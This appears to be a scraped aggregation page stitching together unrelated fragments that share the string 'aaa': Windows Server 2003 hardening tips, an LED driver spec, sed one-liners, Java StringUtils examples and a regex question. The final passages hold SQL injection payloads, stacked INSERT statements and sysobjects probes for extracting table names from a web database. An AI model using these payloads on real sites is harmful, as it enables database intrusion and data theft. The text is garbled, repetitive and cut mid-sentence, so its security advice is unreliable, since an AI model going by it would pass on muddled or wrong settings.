aaa lockout

? That is, create a local user named "Administrator", set it to the minimum, do nothing, and add a super complex password of over 10 bits. This would allow those hacker to be busy for a while to discover their invasion attempts.5. Change the permissions of shared files from Everyone group to authorized usersDo not set the users who share files to the Everyone group, including print sharing, the default attribute is "Everyone" group, must not forget to change.6. Open User PolicyUsing User policy,

RT7304 Active power factor QQ2892715427 correction capability LED Driver Accurate LED Current output No need to use optocouplers and TL431 Power factor correction Quasi-resonant technology Maximum/minimum operating frequency limit Maximum/minimum on-time limit Wide VDD voltage range (up to 25V) Multiple protection features? LED Open Circuit protection? LED Short Circuit protection? output diode short-circuit protection? VDD Undervoltage

hard drive will be read for a long time if the program goes wrong, and account for Use a lot of space. If this is the case, look for the User.dmp file, which saves dozens of MB of space after deletion. Local Security policy configuration Start > Program > Management Tools > Local Security Policy Account strategy > Password Policy > Password minimum age change to 0 days [that is, the password is not available, I mentioned above will not cause IIS password is not synchronized] Account Strategy >

, and others can be added as needed: Policy settings Audit System Login Event succeeded, failed Audit account management Success, failure Audit Login Event Success, failure Audit object Access succeeded Audit policy Change succeeded, failed Audit privilege use succeeded, failed Audit system event succeeded, failed 5. Open Password Password policy Policy settings Password complexity requirements Enabled Minimum password length 6 bits Enforce password history 5 times Enforce password history 42

Web site to rely on the server to run the entire system, the security level of the server directly related to the stability of the site, strengthen the security level of the server, to avoid the site information was malicious leakage. An account-based security policy 1. Account name change Administrators and guest are Windows system default system accounts, and because of this they are most likely to be exploited, and attackers log on to the server by cracking the password. Can be prevented b

compromised. The following audits are required to be open, and others can be added as needed: Policy settings Audit System Login Event succeeded, failed Audit account management Success, failure Audit Login Event Success, failure Audit object Access succeeded Audit policy Change succeeded, failed Audit privilege use succeeded, failed Audit system event succeeded, failed 5. Open Password Password Policy Policy settings Password complexity requirements Enabled Minimum password length 6 bits Enf

someone else goes out, they run to their computers and turn them over. If the computer is stored in a lot of popular information is also indifferent, but in case of storage are some confidential documents or personal privacy, it will inevitably have the possibility of leaks. In fact, can completely transform the hands of a U disk into a "boot key disk." only when the U disk inserted, the computer can work properly, and once something goes out, just unplug the U disk, Windows will automatically

until the system was compromised. The following audits are required to be open, and others can be added as needed: Policy settings Audit System Login Event succeeded, failed Audit account management Success, failure Audit Login Event Success, failure Audit object Access succeeded Audit policy Change succeeded, failed Audit privilege use succeeded, failed Audit system event succeeded, failed 　　5. Open Password Password policy Policy settings Password complexity requirements Enabled Minimum passw

a breakthrough for hackers to hack into their systems. 3, the system administrator account name As you all know, Windows 2003 administrator users cannot be deactivated, which means that others can try this user's password over and over again. Try to disguise it as a regular user, such as GUESYCLUDX. 4. Create a trap user What is a trap user? That is, create a local user named "Administrator", set it to the minimum, do nothing, and add a super complex password of over 10 bits. This would all

end of the corresponding documents and the path to follow the steps to set These permissions are set, and then the local security policy is turned on Set auditing permissions Change Guset account name and set a very complex password Local Security policy configuration Start > Program > Management Tools > Local Security Policy Account strategy > Password Policy > Password minimum age change to 0 days [that is, the password is not available, I mentioned above will not cause IIS password is n

FTP account password set too simple, it is possible to be "lawless" cracked. In order to improve the security of the FTP server, users must be forced to set a complex account password. In the Local Security Settings window, expand security settings → account policy → password policy, and in the right box, locate the password must meet complexity requirement, double-click Open, select the Enabled option, and then click OK. Then, open the "Minimum password Length" item to set the minimum charac

Sometimes when you are working, a prompt pops up, forcing you to click on it, which is annoying. In fact, we clicked User Configuration → admin templates → start menu and taskbar in the left pane of the Open Group Policy dialog box. Then, in the right pane, double-click the "Close all balloon Notifications" item, select Enabled under the Settings tab in the Turn off all Balloon Notification Properties dialog box, and then click "OK" to quit, you can put the annoying "balloon notice" turned off

When you use-xx:+traceclasspaths or execute jinfo on a server, you get the jar packages Classpath contains, for example:Java.class.path = local/aaa/lib/spring-data-redis-1.8.3.release.jar:/usr/local/aaa/lib/ spring-tx-4.3.8.release.jar:/usr/local/aaa/lib/spring-jdbc-4.3.7.release.jar:/usr/local/aaa/lib/ Classmate-1.3.1

' regexp ' and its front and back lines, plus the ' regexp ' before the first line# line number of rows (similar to "GREP-A1-B1")Sed-n-E '/regexp/{=;x;1!p;g;$! n;p;d;} ' -E H# Displays lines containing "AAA", "BBB" or "CCC" (in any order) Sed '/aaa/!d/bbb/!d/ccc/!d ' NBS P # The order of the strings does not affect the result # displays lines containing "

/** * 1, the null judgement of the string org.aphche.commons.lang.StringUtils */ Checks If a String is empty ("") or null. SYSTEM.OUT.PRINTLN (Stringutils.isempty (null)); True System.out.println (Stringutils.isempty ("")); True System.out.println (Stringutils.isempty ("")); False System.out.println (Stringutils.isempty ("Bob"));//False System.out.println (Stringutils.isempty ( " Bob ")); False //Checks If a String is whitespace, empty ("") or null. SYSTEM.OUT

display matching rowsSed-n '/regexp/{g;1!p;}; H # find ' regexp ' and display the next line of matching rows, but do not show matching rowsSed-n '/regexp/{n;p;} ' # Displays the line that contains ' regexp ' and its front and back lines, plus the ' regexp ' before the first line# line number of rows (similar to "GREP-A1-B1")Sed-n-E '/regexp/{=;x;1!p;g;$! n;p;d;} ' -E H # Displays lines containing "AAA", "BBB" or "CCC" (in any order)Sed '/

, and put the table name in the ffff user's mailbox field.By viewing ffff user information, you can obtain the first table named ad.Then, the ID of the table is obtained based on the table name ad. The name of the second table is obtained.Insert into users values (666, char (0 × 63) + char (0 × 68) + char (0 × 72) + char (0 × 69) + char (0 × 73), char (0 × 63) + char (0 × 68) + char (0 × 72) + char (0 × 69) + char (0 × 73), 0 xffff )-Insert into users values (667,123,123, 0 xffff )-Insert into u

Regular dishes (continue for help) aaa. bbb. ccc. ddd $ aaa. bbb. ccc. ddd... aaa. bbb. ccc. how to replace ddd with regular expressions with aaa. bbb. ccc. ddd $. b. c. d... aaa. bbb. ccc. I didn't ask a question for ddd twice. ------ solution ------------------ try it firs

the first table named ad. Then, the ID of the table is obtained based on the table name ad. The name of the second table is obtained. Insert into users values (666, char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), 0 xFFFF )-- Insert into users values (667,123,123, 0 xFFFF )-- Insert into users values (123, admin --, password, 0 xFFFF )-- ; And user> 0 ; And (select count (*) from sysobjects)> 0

values (666, char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), 0 xffff )--Insert into users values (667,123,123, 0 xffff )--Insert into users values (123, admin --, password, 0 xffff )--; And user> 0; And (select count (*) from sysobjects)> 0; And (select count (*) from mysysobjects)> 0 // access_blank> Database Name of a data table; Update aaa set